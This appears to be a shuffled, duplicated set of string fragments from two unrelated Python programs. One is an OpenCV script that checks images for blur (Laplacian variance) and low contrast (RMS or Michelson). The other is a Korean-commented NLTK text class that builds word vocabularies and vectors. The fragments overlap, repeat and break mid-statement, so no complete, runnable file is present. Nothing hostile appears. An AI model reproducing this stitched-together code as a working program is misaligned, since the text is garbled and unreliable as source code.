"directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur",
"''' img = cv2.imread(path) plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)",
": str path of given image method : str method 'rms' or 'mich'",
"') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show()",
"img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = ' ') if(contrast",
"if args.folder == 'True': import os files = os.listdir(args.image) files = [os.path.join(args.image, file)",
"return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray",
"Y min = int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min)",
"os files = os.listdir(args.image) files = [os.path.join(args.image, file) for file in files] for",
"file in files: print('Image name :', file, end=' ') check_blur(file) else: print('Image name",
":', file, end=' ') check_blur(file) else: print('Image name :', args.image, end=' ') check_blur(args.image)",
"else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian",
"= [os.path.join(args.image, file) for file in files] for file in files: print('Image name",
"== '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check')",
"plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the",
"if path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)')",
"= (max-min)/(max+min) print(contrast, end = ' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else:",
"or Contrast (con) Analysis') args = parser.parse_args() if args.choice == 'blur': print('Blur Analysis')",
"name :', args.image, end=' ') check_blur(args.image) else: if args.folder == 'True': import os",
"in files: print('Image name :', file, end=' ') check_blur(file) else: print('Image name :',",
": str method 'rms' or 'mich' Returns None ''' img = cv2.imread(path) plt.figure()",
"cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y min = int(np.min(Y)) max",
"max of Y min = int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast",
"def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if",
"file') parser.add_argument('--folder', default='False', type=str, help='True if path is a directory') parser.add_argument('--method', default='rms', type=str,",
"RMS or Michelson method path : str path of given image method :",
"= variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) )",
"is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur',",
"Check contrast of given images using RMS or Michelson method path : str",
"and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path)",
"Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis') args =",
"file) for file in files] for file in files: print('Image name :', file,",
"img = cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry')",
":', args.image, end=' ') check_blur(args.image) else: if args.folder == 'True': import os files",
"plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of the image",
"for file in files: print('Image name :', file, end=' ') check_blur(file) else: print('Image",
"= int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast, end",
"and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder', default='False',",
") plt.show() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task -",
"cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray)",
"# compute contrast contrast = (max-min)/(max+min) print(contrast, end = ' ') if(contrast >",
"plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import argparse parser =",
"of given image method : str method 'rms' or 'mich' Returns None '''",
"= parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if args.folder == 'True': import",
"and max of Y min = int(np.min(Y)) max = int(np.max(Y)) # compute contrast",
"variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show()",
"in files] for file in files: print('Image name :', file, end=' ') check_contrast(file,",
"45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich': #michelson Y =",
"#michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y min",
"compute contrast contrast = (max-min)/(max+min) print(contrast, end = ' ') if(contrast > 0.8):",
"os.listdir(args.image) files = [os.path.join(args.image, file) for file in files] for file in files:",
"== 'True': import os files = os.listdir(args.image) files = [os.path.join(args.image, file) for file",
"help='Blur (blur) or Contrast (con) Analysis') args = parser.parse_args() if args.choice == 'blur':",
"Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder', default='False', type=str,",
"parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path",
"plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0]",
"int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast, end = ' ') if(contrast",
"print('Image name :', file, end=' ') check_blur(file) else: print('Image name :', args.image, end='",
"Analysis') if args.folder == 'True': import os files = os.listdir(args.image) files = [os.path.join(args.image,",
"== 'blur': print('Blur Analysis') if args.folder == 'True': import os files = os.listdir(args.image)",
"files] for file in files: print('Image name :', file, end=' ') check_contrast(file, args.method)",
"var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ ==",
"Laplacian of the image and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def",
"Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder',",
"name :', file, end=' ') check_contrast(file, args.method) else: print('Image name :', args.image, end='",
"' ') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method ==",
"path : str path of given image method : str method 'rms' or",
"images using RMS or Michelson method path : str path of given image",
"type=str, help='True if path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or",
"== 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of",
"None ''' img = cv2.imread(path) plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img,",
"'True': import os files = os.listdir(args.image) files = [os.path.join(args.image, file) for file in",
"files] for file in files: print('Image name :', file, end=' ') check_blur(file) else:",
"str method 'rms' or 'mich' Returns None ''' img = cv2.imread(path) plt.figure() if",
"cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = ' ') if(contrast > 45): print('Normal')",
"') check_blur(args.image) else: if args.folder == 'True': import os files = os.listdir(args.image) files",
"import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check contrast of",
"np from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'): '''",
"if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def",
"import cv2 import numpy as np from skimage.exposure import is_low_contrast import matplotlib.pyplot as",
"= cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = ' ') if(contrast >",
"cv2 import numpy as np from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt",
"print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__':",
"') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich':",
"the image and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img",
"elif method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and",
"contrast = img_grey.std() print(contrast, end = ' ') if(contrast > 45): print('Normal') plt.title('Normal')",
"cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y min = int(np.min(Y)) max =",
"argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str,",
"of the image and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path):",
"= cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry')",
"cv2.imread(path) plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std()",
"contrast = (max-min)/(max+min) print(contrast, end = ' ') if(contrast > 0.8): print('Normal') plt.title('Normal')",
"files: print('Image name :', file, end=' ') check_contrast(file, args.method) else: print('Image name :',",
"'rms' or 'mich' Returns None ''' img = cv2.imread(path) plt.figure() if method ==",
"from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check",
"check_blur(file) else: print('Image name :', args.image, end=' ') check_blur(args.image) else: if args.folder ==",
"__name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast",
"for file in files: print('Image name :', file, end=' ') check_contrast(file, args.method) else:",
"method='rms'): ''' Check contrast of given images using RMS or Michelson method path",
"image and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img =",
"skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check contrast",
"matplotlib.pyplot as plt def check_contrast(path, method='rms'): ''' Check contrast of given images using",
"(con) Analysis') args = parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if args.folder",
"args.folder == 'True': import os files = os.listdir(args.image) files = [os.path.join(args.image, file) for",
"help='Path of the image file') parser.add_argument('--folder', default='False', type=str, help='True if path is a",
"cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure()",
"plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of the",
"file, end=' ') check_blur(file) else: print('Image name :', args.image, end=' ') check_blur(args.image) else:",
"args.image, end=' ') check_blur(args.image) else: if args.folder == 'True': import os files =",
"method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max",
"contrast contrast = (max-min)/(max+min) print(contrast, end = ' ') if(contrast > 0.8): print('Normal')",
"(max-min)/(max+min) print(contrast, end = ' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low')",
"of the image file') parser.add_argument('--folder', default='False', type=str, help='True if path is a directory')",
"check_blur(args.image) else: if args.folder == 'True': import os files = os.listdir(args.image) files =",
"max = int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast, end = '",
"contrast of given images using RMS or Michelson method path : str path",
"Returns None ''' img = cv2.imread(path) plt.figure() if method == 'rms': img_grey =",
"Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y min =",
"help='True if path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson",
"img = cv2.imread(path) plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast",
"print('Low') plt.title('Low') elif method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute",
"or 'mich' Returns None ''' img = cv2.imread(path) plt.figure() if method == 'rms':",
"or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis') args",
"import os files = os.listdir(args.image) files = [os.path.join(args.image, file) for file in files]",
"cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of the image and",
"def variance_of_laplacian(image): ''' Compute the Laplacian of the image and return its variance",
"parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if args.folder == 'True': import os",
"parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder', default='False', type=str, help='True if",
"method 'rms' or 'mich' Returns None ''' img = cv2.imread(path) plt.figure() if method",
"') check_blur(file) else: print('Image name :', args.image, end=' ') check_blur(args.image) else: if args.folder",
"img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal')",
"= img_grey.std() print(contrast, end = ' ') if(contrast > 45): print('Normal') plt.title('Normal') else:",
"cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task",
"import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg',",
"[os.path.join(args.image, file) for file in files] for file in files: print('Image name :',",
"parser.add_argument('--folder', default='False', type=str, help='True if path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS",
"if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and",
"var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)",
"plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import",
"the Laplacian of the image and return its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var()",
"(rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis')",
"plt.show() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur",
"Contrast (con) Analysis') args = parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if",
"files = [os.path.join(args.image, file) for file in files] for file in files: print('Image",
"path of given image method : str method 'rms' or 'mich' Returns None",
"''' Compute the Laplacian of the image and return its variance ''' return",
"default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder', default='False', type=str, help='True if path",
"path is a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice',",
"> 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich': #michelson Y",
"name :', file, end=' ') check_blur(file) else: print('Image name :', args.image, end=' ')",
"(mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis') args = parser.parse_args()",
"plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if",
"'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y",
"print('Image name :', args.image, end=' ') check_blur(args.image) else: if args.folder == 'True': import",
"print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich': #michelson Y = cv2.cvtColor(img,",
"print('Blur Analysis') if args.folder == 'True': import os files = os.listdir(args.image) files =",
"= ' ') if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method",
"files: print('Image name :', file, end=' ') check_blur(file) else: print('Image name :', args.image,",
"parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur)",
"= cv2.imread(path) plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast =",
"Michelson method path : str path of given image method : str method",
"in files: print('Image name :', file, end=' ') check_contrast(file, args.method) else: print('Image name",
"image file') parser.add_argument('--folder', default='False', type=str, help='True if path is a directory') parser.add_argument('--method', default='rms',",
"type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast",
"else: print('Image name :', args.image, end=' ') check_blur(args.image) else: if args.folder == 'True':",
"print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute",
"the image file') parser.add_argument('--folder', default='False', type=str, help='True if path is a directory') parser.add_argument('--method',",
"'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end = ' ')",
"of Y min = int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast =",
"variance_of_laplacian(image): ''' Compute the Laplacian of the image and return its variance '''",
"'mich' Returns None ''' img = cv2.imread(path) plt.figure() if method == 'rms': img_grey",
"= cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min and max of Y min = int(np.min(Y))",
"0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): '''",
"type=str, help='Blur (blur) or Contrast (con) Analysis') args = parser.parse_args() if args.choice ==",
"cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img,",
"if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast, end",
"of given images using RMS or Michelson method path : str path of",
"else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import argparse",
"plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan",
"variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0)",
"as plt def check_contrast(path, method='rms'): ''' Check contrast of given images using RMS",
"'__main__': import argparse parser = argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image',",
"print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__ == '__main__': import argparse parser",
"min = int(np.min(Y)) max = int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast,",
"<gh_stars>0 import cv2 import numpy as np from skimage.exposure import is_low_contrast import matplotlib.pyplot",
"- Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file')",
"print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of",
"if args.choice == 'blur': print('Blur Analysis') if args.folder == 'True': import os files",
"if(contrast > 45): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') elif method == 'mich': #michelson",
"if var<100: print('Blurry') plt.title('Blurry') else: print('Normal') plt.title('Normal') plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB) ) plt.show() if __name__",
"def check_contrast(path, method='rms'): ''' Check contrast of given images using RMS or Michelson",
"return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray = cv2.imread(path,0) var =",
"Analysis') args = parser.parse_args() if args.choice == 'blur': print('Blur Analysis') if args.folder ==",
"plt.title('Low') elif method == 'mich': #michelson Y = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)[:,:,0] # compute min",
"cv2.imread(path) img_gray = cv2.imread(path,0) var = variance_of_laplacian(img_gray) plt.figure() if var<100: print('Blurry') plt.title('Blurry') else:",
"file in files] for file in files: print('Image name :', file, end=' ')",
"check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image file') parser.add_argument('--folder', default='False', type=str, help='True",
"# compute min and max of Y min = int(np.min(Y)) max = int(np.max(Y))",
"'blur': print('Blur Analysis') if args.folder == 'True': import os files = os.listdir(args.image) files",
"import numpy as np from skimage.exposure import is_low_contrast import matplotlib.pyplot as plt def",
"method : str method 'rms' or 'mich' Returns None ''' img = cv2.imread(path)",
"argparse.ArgumentParser(description='FcarScan Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the",
"given images using RMS or Michelson method path : str path of given",
"plt.figure() if method == 'rms': img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) contrast = img_grey.std() print(contrast,",
"Task - Blur and Contrast check') parser.add_argument('--image', default='view1.jpeg', type=str, help='Path of the image",
":', file, end=' ') check_contrast(file, args.method) else: print('Image name :', args.image, end=' ')",
") plt.show() def variance_of_laplacian(image): ''' Compute the Laplacian of the image and return",
"= int(np.max(Y)) # compute contrast contrast = (max-min)/(max+min) print(contrast, end = ' ')",
"end = ' ') if(contrast > 0.8): print('Normal') plt.title('Normal') else: print('Low') plt.title('Low') plt.imshow(cv2.cvtColor(img,",
"its variance ''' return cv2.Laplacian(image, cv2.CV_64F).var() def check_blur(path): img = cv2.imread(path) img_gray =",
"else: if args.folder == 'True': import os files = os.listdir(args.image) files = [os.path.join(args.image,",
"parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or Contrast (con) Analysis') args = parser.parse_args() if",
"a directory') parser.add_argument('--method', default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str,",
"end=' ') check_blur(args.image) else: if args.folder == 'True': import os files = os.listdir(args.image)",
"args.choice == 'blur': print('Blur Analysis') if args.folder == 'True': import os files =",
"default='rms', type=str, help='RMS (rms) or Michelson (mich)') parser.add_argument('--choice', default='blur', type=str, help='Blur (blur) or"
] |
[
"index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을 단어별로",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을",
"위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI",
"#WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you",
"단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가",
"스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be' , 'was', 'were'} # be",
"#WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해,",
"WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') #",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해,",
"있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words",
"#WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it",
"= sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장",
"sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이",
"변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다. (is",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기",
"voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length)",
"1 # 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words'] = word_sentence",
"WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') #",
"입력해주세요 : ') # 문장 받아오기. WI = word input. WI = WI.replace('\\n','",
"해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를",
"range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() == False: # 숫자가 계속 학습하는",
"숫자는 제외한다.) if word not in stop_words: voc_vector = np.zeros_like(voc, dtype = int)#",
"벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에",
"= WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will')",
"= WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will')",
"떼어주기. sentence_words = [s.split() for s in sentence] # 각각의 문장속에 있는 단어",
"위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해,",
"해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"= [[] for i in sentence_words] word_sentence = [[] for i in sentence_words]",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해,",
"length in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() == False: # 숫자가",
"= re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는",
"WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') #",
"= re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >> stop",
"효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if vocab not in stop_words:",
"= re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에 포함된 단어",
"= voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for length",
"input. WI = WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be",
"위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"= re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는",
"be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') #",
"= {'am', 'is', 'are', 'be' , 'was', 'were'} # be 동사 저장. WI",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를",
"= input('문장을 입력해주세요 : ') # 문장 받아오기. WI = word input. WI",
"vocab not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] =",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해,",
"분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for s in sentence] #",
"WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') #",
"위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"숫자는 제외한다.) if vocab not in stop_words: if vocab not in voc: voc.append(vocab)",
"self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for i",
"nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {} def wordinput(self):",
"마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI)",
